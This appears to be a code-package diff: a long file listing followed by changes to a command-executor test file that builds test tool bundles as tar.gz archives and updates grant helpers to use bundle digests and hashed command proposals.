  445. package/node_modules/zod/v4/core/json-schema.d.cts +88 -0
  446. package/node_modules/zod/v4/core/json-schema.d.ts +88 -0
  447. package/node_modules/zod/v4/core/json-schema.js +1 -0
  448. package/node_modules/zod/v4/core/package.json +6 -0
  449. package/node_modules/zod/v4/core/parse.cjs +131 -0
  450. package/node_modules/zod/v4/core/parse.d.cts +49 -0
  451. package/node_modules/zod/v4/core/parse.d.ts +49 -0
  452. package/node_modules/zod/v4/core/parse.js +93 -0
  453. package/node_modules/zod/v4/core/regexes.cjs +166 -0
  454. package/node_modules/zod/v4/core/regexes.d.cts +79 -0
  455. package/node_modules/zod/v4/core/regexes.d.ts +79 -0
  456. package/node_modules/zod/v4/core/regexes.js +133 -0
  457. package/node_modules/zod/v4/core/registries.cjs +56 -0
  458. package/node_modules/zod/v4/core/registries.d.cts +35 -0
  459. package/node_modules/zod/v4/core/registries.d.ts +35 -0
  460. package/node_modules/zod/v4/core/registries.js +51 -0
  461. package/node_modules/zod/v4/core/schemas.cjs +2124 -0
  462. package/node_modules/zod/v4/core/schemas.d.cts +1146 -0
  463. package/node_modules/zod/v4/core/schemas.d.ts +1146 -0
  464. package/node_modules/zod/v4/core/schemas.js +2093 -0
  465. package/node_modules/zod/v4/core/standard-schema.cjs +2 -0
  466. package/node_modules/zod/v4/core/standard-schema.d.cts +126 -0
  467. package/node_modules/zod/v4/core/standard-schema.d.ts +126 -0
  468. package/node_modules/zod/v4/core/standard-schema.js +1 -0
  469. package/node_modules/zod/v4/core/to-json-schema.cjs +446 -0
  470. package/node_modules/zod/v4/core/to-json-schema.d.cts +114 -0
  471. package/node_modules/zod/v4/core/to-json-schema.d.ts +114 -0
  472. package/node_modules/zod/v4/core/to-json-schema.js +437 -0
  473. package/node_modules/zod/v4/core/util.cjs +710 -0
  474. package/node_modules/zod/v4/core/util.d.cts +199 -0
  475. package/node_modules/zod/v4/core/util.d.ts +199 -0
  476. package/node_modules/zod/v4/core/util.js +651 -0
  477. package/node_modules/zod/v4/core/versions.cjs +8 -0
  478. package/node_modules/zod/v4/core/versions.d.cts +5 -0
  479. package/node_modules/zod/v4/core/versions.d.ts +5 -0
  480. package/node_modules/zod/v4/core/versions.js +5 -0
  481. package/node_modules/zod/v4/index.cjs +22 -0
  482. package/node_modules/zod/v4/index.d.cts +3 -0
  483. package/node_modules/zod/v4/index.d.ts +3 -0
  484. package/node_modules/zod/v4/index.js +3 -0
  485. package/node_modules/zod/v4/locales/ar.cjs +133 -0
  486. package/node_modules/zod/v4/locales/ar.d.cts +5 -0
  487. package/node_modules/zod/v4/locales/ar.d.ts +4 -0
  488. package/node_modules/zod/v4/locales/ar.js +106 -0
  489. package/node_modules/zod/v4/locales/az.cjs +132 -0
  490. package/node_modules/zod/v4/locales/az.d.cts +5 -0
  491. package/node_modules/zod/v4/locales/az.d.ts +4 -0
  492. package/node_modules/zod/v4/locales/az.js +105 -0
  493. package/node_modules/zod/v4/locales/be.cjs +183 -0
  494. package/node_modules/zod/v4/locales/be.d.cts +5 -0
  495. package/node_modules/zod/v4/locales/be.d.ts +4 -0
  496. package/node_modules/zod/v4/locales/be.js +156 -0
  497. package/node_modules/zod/v4/locales/bg.cjs +147 -0
  498. package/node_modules/zod/v4/locales/bg.d.cts +5 -0
  499. package/node_modules/zod/v4/locales/bg.d.ts +4 -0
  500. package/node_modules/zod/v4/locales/bg.js +120 -0
  501. package/node_modules/zod/v4/locales/ca.cjs +134 -0
  502. package/node_modules/zod/v4/locales/ca.d.cts +5 -0
  503. package/node_modules/zod/v4/locales/ca.d.ts +4 -0
  504. package/node_modules/zod/v4/locales/ca.js +107 -0
  505. package/node_modules/zod/v4/locales/cs.cjs +138 -0
  506. package/node_modules/zod/v4/locales/cs.d.cts +5 -0
  507. package/node_modules/zod/v4/locales/cs.d.ts +4 -0
  508. package/node_modules/zod/v4/locales/cs.js +111 -0
  509. package/node_modules/zod/v4/locales/da.cjs +142 -0
  510. package/node_modules/zod/v4/locales/da.d.cts +5 -0
  511. package/node_modules/zod/v4/locales/da.d.ts +4 -0
  512. package/node_modules/zod/v4/locales/da.js +115 -0
  513. package/node_modules/zod/v4/locales/de.cjs +135 -0
  514. package/node_modules/zod/v4/locales/de.d.cts +5 -0
  515. package/node_modules/zod/v4/locales/de.d.ts +4 -0
  516. package/node_modules/zod/v4/locales/de.js +108 -0
  517. package/node_modules/zod/v4/locales/en.cjs +136 -0
  518. package/node_modules/zod/v4/locales/en.d.cts +5 -0
  519. package/node_modules/zod/v4/locales/en.d.ts +4 -0
  520. package/node_modules/zod/v4/locales/en.js +109 -0
  521. package/node_modules/zod/v4/locales/eo.cjs +136 -0
  522. package/node_modules/zod/v4/locales/eo.d.cts +5 -0
  523. package/node_modules/zod/v4/locales/eo.d.ts +4 -0
  524. package/node_modules/zod/v4/locales/eo.js +109 -0
  525. package/node_modules/zod/v4/locales/es.cjs +159 -0
  526. package/node_modules/zod/v4/locales/es.d.cts +5 -0
  527. package/node_modules/zod/v4/locales/es.d.ts +4 -0
  528. package/node_modules/zod/v4/locales/es.js +132 -0
  529. package/node_modules/zod/v4/locales/fa.cjs +141 -0
  530. package/node_modules/zod/v4/locales/fa.d.cts +5 -0
  531. package/node_modules/zod/v4/locales/fa.d.ts +4 -0
  532. package/node_modules/zod/v4/locales/fa.js +114 -0
  533. package/node_modules/zod/v4/locales/fi.cjs +139 -0
  534. package/node_modules/zod/v4/locales/fi.d.cts +5 -0
  535. package/node_modules/zod/v4/locales/fi.d.ts +4 -0
  536. package/node_modules/zod/v4/locales/fi.js +112 -0
  537. package/node_modules/zod/v4/locales/fr-CA.cjs +134 -0
  538. package/node_modules/zod/v4/locales/fr-CA.d.cts +5 -0
  539. package/node_modules/zod/v4/locales/fr-CA.d.ts +4 -0
  540. package/node_modules/zod/v4/locales/fr-CA.js +107 -0
  541. package/node_modules/zod/v4/locales/fr.cjs +135 -0
  542. package/node_modules/zod/v4/locales/fr.d.cts +5 -0
  543. package/node_modules/zod/v4/locales/fr.d.ts +4 -0
  544. package/node_modules/zod/v4/locales/fr.js +108 -0
  545. package/node_modules/zod/v4/locales/he.cjs +241 -0
  546. package/node_modules/zod/v4/locales/he.d.cts +5 -0
  547. package/node_modules/zod/v4/locales/he.d.ts +4 -0
  548. package/node_modules/zod/v4/locales/he.js +214 -0
  549. package/node_modules/zod/v4/locales/hu.cjs +135 -0
  550. package/node_modules/zod/v4/locales/hu.d.cts +5 -0
  551. package/node_modules/zod/v4/locales/hu.d.ts +4 -0
  552. package/node_modules/zod/v4/locales/hu.js +108 -0
  553. package/node_modules/zod/v4/locales/hy.cjs +174 -0
  554. package/node_modules/zod/v4/locales/hy.d.cts +5 -0
  555. package/node_modules/zod/v4/locales/hy.d.ts +4 -0
  556. package/node_modules/zod/v4/locales/hy.js +147 -0
  557. package/node_modules/zod/v4/locales/id.cjs +133 -0
  558. package/node_modules/zod/v4/locales/id.d.cts +5 -0
  559. package/node_modules/zod/v4/locales/id.d.ts +4 -0
  560. package/node_modules/zod/v4/locales/id.js +106 -0
  561. package/node_modules/zod/v4/locales/index.cjs +104 -0
  562. package/node_modules/zod/v4/locales/index.d.cts +49 -0
  563. package/node_modules/zod/v4/locales/index.d.ts +49 -0
  564. package/node_modules/zod/v4/locales/index.js +49 -0
  565. package/node_modules/zod/v4/locales/is.cjs +136 -0
  566. package/node_modules/zod/v4/locales/is.d.cts +5 -0
  567. package/node_modules/zod/v4/locales/is.d.ts +4 -0
  568. package/node_modules/zod/v4/locales/is.js +109 -0
  569. package/node_modules/zod/v4/locales/it.cjs +135 -0
  570. package/node_modules/zod/v4/locales/it.d.cts +5 -0
  571. package/node_modules/zod/v4/locales/it.d.ts +4 -0
  572. package/node_modules/zod/v4/locales/it.js +108 -0
  573. package/node_modules/zod/v4/locales/ja.cjs +134 -0
  574. package/node_modules/zod/v4/locales/ja.d.cts +5 -0
  575. package/node_modules/zod/v4/locales/ja.d.ts +4 -0
  576. package/node_modules/zod/v4/locales/ja.js +107 -0
  577. package/node_modules/zod/v4/locales/ka.cjs +139 -0
  578. package/node_modules/zod/v4/locales/ka.d.cts +5 -0
  579. package/node_modules/zod/v4/locales/ka.d.ts +4 -0
  580. package/node_modules/zod/v4/locales/ka.js +112 -0
  581. package/node_modules/zod/v4/locales/kh.cjs +12 -0
  582. package/node_modules/zod/v4/locales/kh.d.cts +5 -0
  583. package/node_modules/zod/v4/locales/kh.d.ts +5 -0
  584. package/node_modules/zod/v4/locales/kh.js +5 -0
  585. package/node_modules/zod/v4/locales/km.cjs +137 -0
  586. package/node_modules/zod/v4/locales/km.d.cts +5 -0
  587. package/node_modules/zod/v4/locales/km.d.ts +4 -0
  588. package/node_modules/zod/v4/locales/km.js +110 -0
  589. package/node_modules/zod/v4/locales/ko.cjs +138 -0
  590. package/node_modules/zod/v4/locales/ko.d.cts +5 -0
  591. package/node_modules/zod/v4/locales/ko.d.ts +4 -0
  592. package/node_modules/zod/v4/locales/ko.js +111 -0
  593. package/node_modules/zod/v4/locales/lt.cjs +230 -0
  594. package/node_modules/zod/v4/locales/lt.d.cts +5 -0
  595. package/node_modules/zod/v4/locales/lt.d.ts +4 -0
  596. package/node_modules/zod/v4/locales/lt.js +203 -0
  597. package/node_modules/zod/v4/locales/mk.cjs +136 -0
  598. package/node_modules/zod/v4/locales/mk.d.cts +5 -0
  599. package/node_modules/zod/v4/locales/mk.d.ts +4 -0
  600. package/node_modules/zod/v4/locales/mk.js +109 -0
  601. package/node_modules/zod/v4/locales/ms.cjs +134 -0
  602. package/node_modules/zod/v4/locales/ms.d.cts +5 -0
  603. package/node_modules/zod/v4/locales/ms.d.ts +4 -0
  604. package/node_modules/zod/v4/locales/ms.js +107 -0
  605. package/node_modules/zod/v4/locales/nl.cjs +137 -0
  606. package/node_modules/zod/v4/locales/nl.d.cts +5 -0
  607. package/node_modules/zod/v4/locales/nl.d.ts +4 -0
  608. package/node_modules/zod/v4/locales/nl.js +110 -0
  609. package/node_modules/zod/v4/locales/no.cjs +135 -0
  610. package/node_modules/zod/v4/locales/no.d.cts +5 -0
  611. package/node_modules/zod/v4/locales/no.d.ts +4 -0
  612. package/node_modules/zod/v4/locales/no.js +108 -0
  613. package/node_modules/zod/v4/locales/ota.cjs +136 -0
  614. package/node_modules/zod/v4/locales/ota.d.cts +5 -0
  615. package/node_modules/zod/v4/locales/ota.d.ts +4 -0
  616. package/node_modules/zod/v4/locales/ota.js +109 -0
  617. package/node_modules/zod/v4/locales/package.json +6 -0
  618. package/node_modules/zod/v4/locales/pl.cjs +136 -0
  619. package/node_modules/zod/v4/locales/pl.d.cts +5 -0
  620. package/node_modules/zod/v4/locales/pl.d.ts +4 -0
  621. package/node_modules/zod/v4/locales/pl.js +109 -0
  622. package/node_modules/zod/v4/locales/ps.cjs +141 -0
  623. package/node_modules/zod/v4/locales/ps.d.cts +5 -0
  624. package/node_modules/zod/v4/locales/ps.d.ts +4 -0
  625. package/node_modules/zod/v4/locales/ps.js +114 -0
  626. package/node_modules/zod/v4/locales/pt.cjs +135 -0
  627. package/node_modules/zod/v4/locales/pt.d.cts +5 -0
  628. package/node_modules/zod/v4/locales/pt.d.ts +4 -0
  629. package/node_modules/zod/v4/locales/pt.js +108 -0
  630. package/node_modules/zod/v4/locales/ru.cjs +183 -0
  631. package/node_modules/zod/v4/locales/ru.d.cts +5 -0
  632. package/node_modules/zod/v4/locales/ru.d.ts +4 -0
  633. package/node_modules/zod/v4/locales/ru.js +156 -0
  634. package/node_modules/zod/v4/locales/sl.cjs +136 -0
  635. package/node_modules/zod/v4/locales/sl.d.cts +5 -0
  636. package/node_modules/zod/v4/locales/sl.d.ts +4 -0
  637. package/node_modules/zod/v4/locales/sl.js +109 -0
  638. package/node_modules/zod/v4/locales/sv.cjs +137 -0
  639. package/node_modules/zod/v4/locales/sv.d.cts +5 -0
  640. package/node_modules/zod/v4/locales/sv.d.ts +4 -0
  641. package/node_modules/zod/v4/locales/sv.js +110 -0
  642. package/node_modules/zod/v4/locales/ta.cjs +137 -0
  643. package/node_modules/zod/v4/locales/ta.d.cts +5 -0
  644. package/node_modules/zod/v4/locales/ta.d.ts +4 -0
  645. package/node_modules/zod/v4/locales/ta.js +110 -0
  646. package/node_modules/zod/v4/locales/th.cjs +137 -0
  647. package/node_modules/zod/v4/locales/th.d.cts +5 -0
  648. package/node_modules/zod/v4/locales/th.d.ts +4 -0
  649. package/node_modules/zod/v4/locales/th.js +110 -0
  650. package/node_modules/zod/v4/locales/tr.cjs +132 -0
  651. package/node_modules/zod/v4/locales/tr.d.cts +5 -0
  652. package/node_modules/zod/v4/locales/tr.d.ts +4 -0
  653. package/node_modules/zod/v4/locales/tr.js +105 -0
  654. package/node_modules/zod/v4/locales/ua.cjs +12 -0
  655. package/node_modules/zod/v4/locales/ua.d.cts +5 -0
  656. package/node_modules/zod/v4/locales/ua.d.ts +5 -0
  657. package/node_modules/zod/v4/locales/ua.js +5 -0
  658. package/node_modules/zod/v4/locales/uk.cjs +135 -0
  659. package/node_modules/zod/v4/locales/uk.d.cts +5 -0
  660. package/node_modules/zod/v4/locales/uk.d.ts +4 -0
  661. package/node_modules/zod/v4/locales/uk.js +108 -0
  662. package/node_modules/zod/v4/locales/ur.cjs +137 -0
  663. package/node_modules/zod/v4/locales/ur.d.cts +5 -0
  664. package/node_modules/zod/v4/locales/ur.d.ts +4 -0
  665. package/node_modules/zod/v4/locales/ur.js +110 -0
  666. package/node_modules/zod/v4/locales/uz.cjs +136 -0
  667. package/node_modules/zod/v4/locales/uz.d.cts +5 -0
  668. package/node_modules/zod/v4/locales/uz.d.ts +4 -0
  669. package/node_modules/zod/v4/locales/uz.js +109 -0
  670. package/node_modules/zod/v4/locales/vi.cjs +135 -0
  671. package/node_modules/zod/v4/locales/vi.d.cts +5 -0
  672. package/node_modules/zod/v4/locales/vi.d.ts +4 -0
  673. package/node_modules/zod/v4/locales/vi.js +108 -0
  674. package/node_modules/zod/v4/locales/yo.cjs +134 -0
  675. package/node_modules/zod/v4/locales/yo.d.cts +5 -0
  676. package/node_modules/zod/v4/locales/yo.d.ts +4 -0
  677. package/node_modules/zod/v4/locales/yo.js +107 -0
  678. package/node_modules/zod/v4/locales/zh-CN.cjs +136 -0
  679. package/node_modules/zod/v4/locales/zh-CN.d.cts +5 -0
  680. package/node_modules/zod/v4/locales/zh-CN.d.ts +4 -0
  681. package/node_modules/zod/v4/locales/zh-CN.js +109 -0
  682. package/node_modules/zod/v4/locales/zh-TW.cjs +134 -0
  683. package/node_modules/zod/v4/locales/zh-TW.d.cts +5 -0
  684. package/node_modules/zod/v4/locales/zh-TW.d.ts +4 -0
  685. package/node_modules/zod/v4/locales/zh-TW.js +107 -0
  686. package/node_modules/zod/v4/mini/checks.cjs +34 -0
  687. package/node_modules/zod/v4/mini/checks.d.cts +1 -0
  688. package/node_modules/zod/v4/mini/checks.d.ts +1 -0
  689. package/node_modules/zod/v4/mini/checks.js +1 -0
  690. package/node_modules/zod/v4/mini/coerce.cjs +52 -0
  691. package/node_modules/zod/v4/mini/coerce.d.cts +7 -0
  692. package/node_modules/zod/v4/mini/coerce.d.ts +7 -0
  693. package/node_modules/zod/v4/mini/coerce.js +22 -0
  694. package/node_modules/zod/v4/mini/external.cjs +63 -0
  695. package/node_modules/zod/v4/mini/external.d.cts +12 -0
  696. package/node_modules/zod/v4/mini/external.d.ts +12 -0
  697. package/node_modules/zod/v4/mini/external.js +14 -0
  698. package/node_modules/zod/v4/mini/index.cjs +32 -0
  699. package/node_modules/zod/v4/mini/index.d.cts +3 -0
  700. package/node_modules/zod/v4/mini/index.d.ts +3 -0
  701. package/node_modules/zod/v4/mini/index.js +3 -0
  702. package/node_modules/zod/v4/mini/iso.cjs +64 -0
  703. package/node_modules/zod/v4/mini/iso.d.cts +22 -0
  704. package/node_modules/zod/v4/mini/iso.d.ts +22 -0
  705. package/node_modules/zod/v4/mini/iso.js +34 -0
  706. package/node_modules/zod/v4/mini/package.json +6 -0
  707. package/node_modules/zod/v4/mini/parse.cjs +16 -0
  708. package/node_modules/zod/v4/mini/parse.d.cts +1 -0
  709. package/node_modules/zod/v4/mini/parse.d.ts +1 -0
  710. package/node_modules/zod/v4/mini/parse.js +1 -0
  711. package/node_modules/zod/v4/mini/schemas.cjs +1046 -0
  712. package/node_modules/zod/v4/mini/schemas.d.cts +427 -0
  713. package/node_modules/zod/v4/mini/schemas.d.ts +427 -0
  714. package/node_modules/zod/v4/mini/schemas.js +925 -0
  715. package/node_modules/zod/v4/package.json +6 -0
  716. package/node_modules/zod/v4-mini/index.cjs +32 -0
  717. package/node_modules/zod/v4-mini/index.d.cts +3 -0
  718. package/node_modules/zod/v4-mini/index.d.ts +3 -0
  719. package/node_modules/zod/v4-mini/index.js +3 -0
  720. package/node_modules/zod/v4-mini/package.json +6 -0
  721. package/package.json +3 -2
  722. package/src/__tests__/command-executor.test.ts +575 -60
  723. package/src/__tests__/command-validator.test.ts +697 -0
  724. package/src/__tests__/command-workspace.test.ts +30 -0
  725. package/src/__tests__/grant-store.test.ts +151 -33
  726. package/src/__tests__/http-executor.test.ts +106 -16
  727. package/src/__tests__/http-policy.test.ts +121 -22
  728. package/src/__tests__/local-materializers.test.ts +34 -0
  729. package/src/__tests__/managed-integration.test.ts +633 -0
  730. package/src/__tests__/managed-lazy-getters.test.ts +245 -0
  731. package/src/__tests__/managed-materializers.test.ts +107 -38
  732. package/src/__tests__/managed-rejection.test.ts +43 -0
  733. package/src/__tests__/toolstore.test.ts +207 -18
  734. package/src/__tests__/transport.test.ts +26 -6
  735. package/src/commands/auth-adapters.ts +2 -2
  736. package/src/commands/egress-hooks.ts +203 -0
  737. package/src/commands/executor.ts +403 -87
  738. package/src/commands/profiles.ts +4 -0
  739. package/src/commands/validator.ts +267 -3
  740. package/src/commands/workspace.ts +59 -21
  741. package/src/grants/index.ts +1 -1
  742. package/src/grants/persistent-store.ts +79 -17
  743. package/src/grants/rpc-handlers.ts +67 -43
  744. package/src/grants/temporary-store.ts +26 -19
  745. package/src/http/executor.ts +170 -25
  746. package/src/http/path-template.ts +75 -9
  747. package/src/http/policy.ts +9 -27
  748. package/src/index.ts +3 -0
  749. package/src/main.ts +102 -43
  750. package/src/managed-errors.ts +9 -0
  751. package/src/managed-lazy-getters.ts +70 -0
  752. package/src/managed-main.ts +191 -65
  753. package/src/materializers/local-oauth-lookup.ts +97 -0
  754. package/src/materializers/local-secure-key-backend.ts +254 -0
  755. package/src/materializers/local-token-refresh.ts +263 -0
  756. package/src/materializers/local.ts +21 -5
  757. package/src/materializers/managed-platform.ts +50 -25
  758. package/src/paths.ts +28 -10
  759. package/src/server.ts +147 -11
  760. package/src/subjects/managed.ts +33 -12
  761. package/src/subjects/policy.ts +79 -0
  762. package/src/toolstore/publish.ts +236 -7
@@ -19,10 +19,10 @@
19
19
  */
20
20
 
21
21
  import { describe, expect, test, beforeEach, afterEach } from "bun:test";
22
- import { mkdirSync, writeFileSync, existsSync, readFileSync, rmSync } from "node:fs";
22
+ import { mkdirSync, writeFileSync, existsSync, readFileSync, rmSync, chmodSync, symlinkSync, unlinkSync, realpathSync } from "node:fs";
23
23
  import { join } from "node:path";
24
24
  import { tmpdir } from "node:os";
25
- import { randomUUID, createHash } from "node:crypto";
25
+ import { randomUUID } from "node:crypto";
26
26
 
27
27
  import { AuthAdapterType } from "../commands/auth-adapters.js";
28
28
  import {
@@ -40,10 +40,12 @@ import { PersistentGrantStore } from "../grants/persistent-store.js";
40
40
  import { TemporaryGrantStore } from "../grants/temporary-store.js";
41
41
  import {
42
42
  publishBundle,
43
- getBundleContentPath,
43
+ getBundleManifestPath,
44
+ getBundleDir,
44
45
  } from "../toolstore/publish.js";
45
46
  import { getCesToolStoreDir, getCesDataRoot } from "../paths.js";
46
47
  import { computeDigest } from "../toolstore/integrity.js";
48
+ import { hashProposal, type CommandGrantProposal } from "@vellumai/ces-contracts";
47
49
 
48
50
  // ---------------------------------------------------------------------------
49
51
  // Test helpers
@@ -114,46 +116,67 @@ function buildManifest(
114
116
  /**
115
117
  * Publish a test bundle into the CES toolstore and return the digest.
116
118
  *
117
- * Creates a minimal shell script as the "binary" and writes it to the
118
- * toolstore under the computed digest.
119
+ * Creates a real tar.gz archive containing the entrypoint shell script
120
+ * at the manifest's declared entrypoint path, then publishes it through
121
+ * the actual publishBundle function so the extraction path is exercised.
119
122
  */
120
123
  function publishTestBundle(
121
124
  manifest: SecureCommandManifest,
122
125
  cesMode: "local" | "managed" = "local",
123
126
  scriptContent = '#!/bin/sh\necho "hello from test-cli"\n',
124
127
  ): { digest: string; manifest: SecureCommandManifest } {
125
- const bundleBytes = Buffer.from(scriptContent, "utf-8");
126
- const digest = computeDigest(bundleBytes);
128
+ // Build a tar.gz archive containing the entrypoint at the declared path
129
+ const archiveStagingDir = makeTempDir("ces-archive-staging");
130
+ try {
131
+ const entrypoint = manifest.entrypoint || "bin/test-cli";
132
+ const entrypointFullPath = join(archiveStagingDir, entrypoint);
133
+ mkdirSync(join(archiveStagingDir, entrypoint, ".."), { recursive: true });
134
+ writeFileSync(entrypointFullPath, scriptContent, { mode: 0o755 });
135
+
136
+ // Create tar.gz archive
137
+ const archivePath = join(archiveStagingDir, "bundle.tar.gz");
138
+ const tarProc = Bun.spawnSync(
139
+ ["tar", "czf", archivePath, "-C", archiveStagingDir, entrypoint],
140
+ { stdout: "pipe", stderr: "pipe" },
141
+ );
142
+ if (tarProc.exitCode !== 0) {
143
+ const stderr = tarProc.stderr
144
+ ? new TextDecoder().decode(tarProc.stderr).trim()
145
+ : "unknown error";
146
+ throw new Error(`Failed to create test archive: ${stderr}`);
147
+ }
127
148
 
128
- // Update the manifest with the computed digest
129
- const fullManifest: SecureCommandManifest = {
130
- ...manifest,
131
- bundleDigest: digest,
132
- };
149
+ const bundleBytes = Buffer.from(readFileSync(archivePath));
150
+ const digest = computeDigest(bundleBytes);
133
151
 
134
- const result = publishBundle({
135
- bundleBytes,
136
- expectedDigest: digest,
137
- bundleId: fullManifest.bundleId,
138
- version: fullManifest.version,
139
- sourceUrl: "https://releases.example.com/test-cli-1.0.0.tar.gz",
140
- secureCommandManifest: fullManifest,
141
- cesMode,
142
- });
152
+ // Update the manifest with the computed digest
153
+ const fullManifest: SecureCommandManifest = {
154
+ ...manifest,
155
+ bundleDigest: digest,
156
+ };
143
157
 
144
- if (!result.success) {
145
- throw new Error(`Failed to publish test bundle: ${result.error}`);
146
- }
158
+ const result = publishBundle({
159
+ bundleBytes,
160
+ expectedDigest: digest,
161
+ bundleId: fullManifest.bundleId,
162
+ version: fullManifest.version,
163
+ sourceUrl: "https://releases.example.com/test-cli-1.0.0.tar.gz",
164
+ secureCommandManifest: fullManifest,
165
+ cesMode,
166
+ });
147
167
 
148
- // Make the entrypoint executable by creating it in the bundle dir
149
- const toolstoreDir = getCesToolStoreDir(cesMode);
150
- const bundleDir = join(toolstoreDir, digest);
151
- const entrypointDir = join(bundleDir, "bin");
152
- mkdirSync(entrypointDir, { recursive: true });
153
- const entrypointPath = join(entrypointDir, "test-cli");
154
- writeFileSync(entrypointPath, scriptContent, { mode: 0o755 });
168
+ if (!result.success) {
169
+ throw new Error(`Failed to publish test bundle: ${result.error}`);
170
+ }
155
171
 
156
- return { digest, manifest: fullManifest };
172
+ return { digest, manifest: fullManifest };
173
+ } finally {
174
+ try {
175
+ rmSync(archiveStagingDir, { recursive: true, force: true });
176
+ } catch {
177
+ // Best-effort cleanup
178
+ }
179
+ }
157
180
  }
158
181
 
159
182
  /**
@@ -198,36 +221,50 @@ function buildDeps(
198
221
 
199
222
  /**
200
223
  * Add a command grant to the persistent store.
224
+ *
225
+ * Pattern uses the canonical triple: `credentialHandle:bundleDigest:profileName`.
201
226
  */
202
227
  function addCommandGrant(
203
228
  store: PersistentGrantStore,
204
229
  credentialHandle: string,
205
- bundleId: string,
230
+ bundleDigest: string,
206
231
  profileName: string,
207
232
  ): void {
208
233
  store.add({
209
234
  id: randomUUID(),
210
235
  tool: "command",
211
- pattern: `${bundleId}/${profileName}`,
236
+ pattern: `${credentialHandle}:${bundleDigest}:${profileName}`,
212
237
  scope: credentialHandle,
213
238
  createdAt: Date.now(),
239
+ sessionId: "test-session",
214
240
  });
215
241
  }
216
242
 
217
243
  /**
218
244
  * Add a temporary command grant.
245
+ *
246
+ * Constructs the same CommandGrantProposal shape that the executor builds
247
+ * and hashes it with `hashProposal` from `@vellumai/ces-contracts` so the
248
+ * hashes align.
219
249
  */
220
250
  function addTemporaryCommandGrant(
221
251
  store: TemporaryGrantStore,
222
252
  credentialHandle: string,
223
- bundleId: string,
253
+ bundleDigest: string,
224
254
  profileName: string,
225
- kind: "allow_once" | "allow_10m" | "allow_thread" = "allow_once",
255
+ kind: "allow_once" | "allow_10m" | "allow_conversation" = "allow_once",
226
256
  conversationId?: string,
257
+ argv: string[] = [],
258
+ purpose: string = "Test execution",
227
259
  ): void {
228
- const parts = ["command", credentialHandle, bundleId, profileName];
229
- const canonical = JSON.stringify(parts);
230
- const proposalHash = createHash("sha256").update(canonical, "utf8").digest("hex");
260
+ const proposal: CommandGrantProposal = {
261
+ type: "command",
262
+ credentialHandle,
263
+ command: `${bundleDigest}/${profileName}${argv.length ? " " + argv.join(" ") : ""}`,
264
+ purpose,
265
+ allowedCommandPatterns: [`${credentialHandle}:${bundleDigest}:${profileName}`],
266
+ };
267
+ const proposalHash = hashProposal(proposal);
231
268
  store.add(kind, proposalHash, { conversationId });
232
269
  }
233
270
 
@@ -320,7 +357,7 @@ describe("executeAuthenticatedCommand — profile validation", () => {
320
357
  addCommandGrant(
321
358
  deps.persistentStore,
322
359
  "local_static:test/api_key",
323
- manifest.bundleId,
360
+ digest,
324
361
  "nonexistent",
325
362
  );
326
363
 
@@ -347,7 +384,7 @@ describe("executeAuthenticatedCommand — profile validation", () => {
347
384
  addCommandGrant(
348
385
  deps.persistentStore,
349
386
  "local_static:test/api_key",
350
- manifest.bundleId,
387
+ digest,
351
388
  "list",
352
389
  );
353
390
 
@@ -375,7 +412,7 @@ describe("executeAuthenticatedCommand — profile validation", () => {
375
412
  addCommandGrant(
376
413
  deps.persistentStore,
377
414
  "local_static:test/api_key",
378
- manifest.bundleId,
415
+ digest,
379
416
  "list",
380
417
  );
381
418
 
@@ -402,7 +439,7 @@ describe("executeAuthenticatedCommand — profile validation", () => {
402
439
  addCommandGrant(
403
440
  deps.persistentStore,
404
441
  "local_static:test/api_key",
405
- manifest.bundleId,
442
+ digest,
406
443
  "list",
407
444
  );
408
445
 
@@ -476,7 +513,7 @@ describe("executeAuthenticatedCommand — grant enforcement", () => {
476
513
  addCommandGrant(
477
514
  deps.persistentStore,
478
515
  "local_static:test/api_key",
479
- manifest.bundleId,
516
+ digest,
480
517
  "list",
481
518
  );
482
519
 
@@ -522,8 +559,12 @@ describe("executeAuthenticatedCommand — grant enforcement", () => {
522
559
  addTemporaryCommandGrant(
523
560
  deps.temporaryStore,
524
561
  "local_static:test/api_key",
525
- manifest.bundleId,
562
+ digest,
526
563
  "list",
564
+ "allow_once",
565
+ undefined,
566
+ ["list", "--format", "json"],
567
+ "Test execution",
527
568
  );
528
569
 
529
570
  const request: ExecuteCommandRequest = {
@@ -563,7 +604,11 @@ describe("executeAuthenticatedCommand — credential materialization", () => {
563
604
  },
564
605
  },
565
606
  });
566
- const { digest } = publishTestBundle(manifest);
607
+ const { digest } = publishTestBundle(
608
+ manifest,
609
+ "local",
610
+ '#!/bin/sh\necho "credential materialization test"\n',
611
+ );
567
612
 
568
613
  const deps = buildDeps({
569
614
  materializeCredential: failMaterializer("Credential store is locked"),
@@ -571,7 +616,7 @@ describe("executeAuthenticatedCommand — credential materialization", () => {
571
616
  addCommandGrant(
572
617
  deps.persistentStore,
573
618
  "local_static:test/api_key",
574
- manifest.bundleId,
619
+ digest,
575
620
  "list",
576
621
  );
577
622
 
@@ -630,7 +675,7 @@ describe("executeAuthenticatedCommand — auth adapters", () => {
630
675
  addCommandGrant(
631
676
  deps.persistentStore,
632
677
  "local_static:test/api_key",
633
- manifest.bundleId,
678
+ digest,
634
679
  "list",
635
680
  );
636
681
 
@@ -687,7 +732,7 @@ describe("executeAuthenticatedCommand — auth adapters", () => {
687
732
  addCommandGrant(
688
733
  deps.persistentStore,
689
734
  "local_static:test/api_key",
690
- manifest.bundleId,
735
+ digest,
691
736
  "list",
692
737
  );
693
738
 
@@ -742,7 +787,7 @@ describe("executeAuthenticatedCommand — auth adapters", () => {
742
787
  addCommandGrant(
743
788
  deps.persistentStore,
744
789
  "local_static:test/api_key",
745
- manifest.bundleId,
790
+ digest,
746
791
  "list",
747
792
  );
748
793
 
@@ -774,7 +819,11 @@ describe("executeAuthenticatedCommand — egress enforcement", () => {
774
819
  const manifest = buildManifest({
775
820
  egressMode: EgressMode.ProxyRequired,
776
821
  });
777
- const { digest } = publishTestBundle(manifest);
822
+ const { digest } = publishTestBundle(
823
+ manifest,
824
+ "local",
825
+ '#!/bin/sh\necho "egress enforcement test"\n',
826
+ );
778
827
 
779
828
  const deps = buildDeps({
780
829
  egressHooks: undefined, // No hooks provided
@@ -782,7 +831,7 @@ describe("executeAuthenticatedCommand — egress enforcement", () => {
782
831
  addCommandGrant(
783
832
  deps.persistentStore,
784
833
  "local_static:test/api_key",
785
- manifest.bundleId,
834
+ digest,
786
835
  "list",
787
836
  );
788
837
 
@@ -828,7 +877,7 @@ describe("executeAuthenticatedCommand — egress enforcement", () => {
828
877
  addCommandGrant(
829
878
  deps.persistentStore,
830
879
  "local_static:test/api_key",
831
- manifest.bundleId,
880
+ digest,
832
881
  "list",
833
882
  );
834
883
 
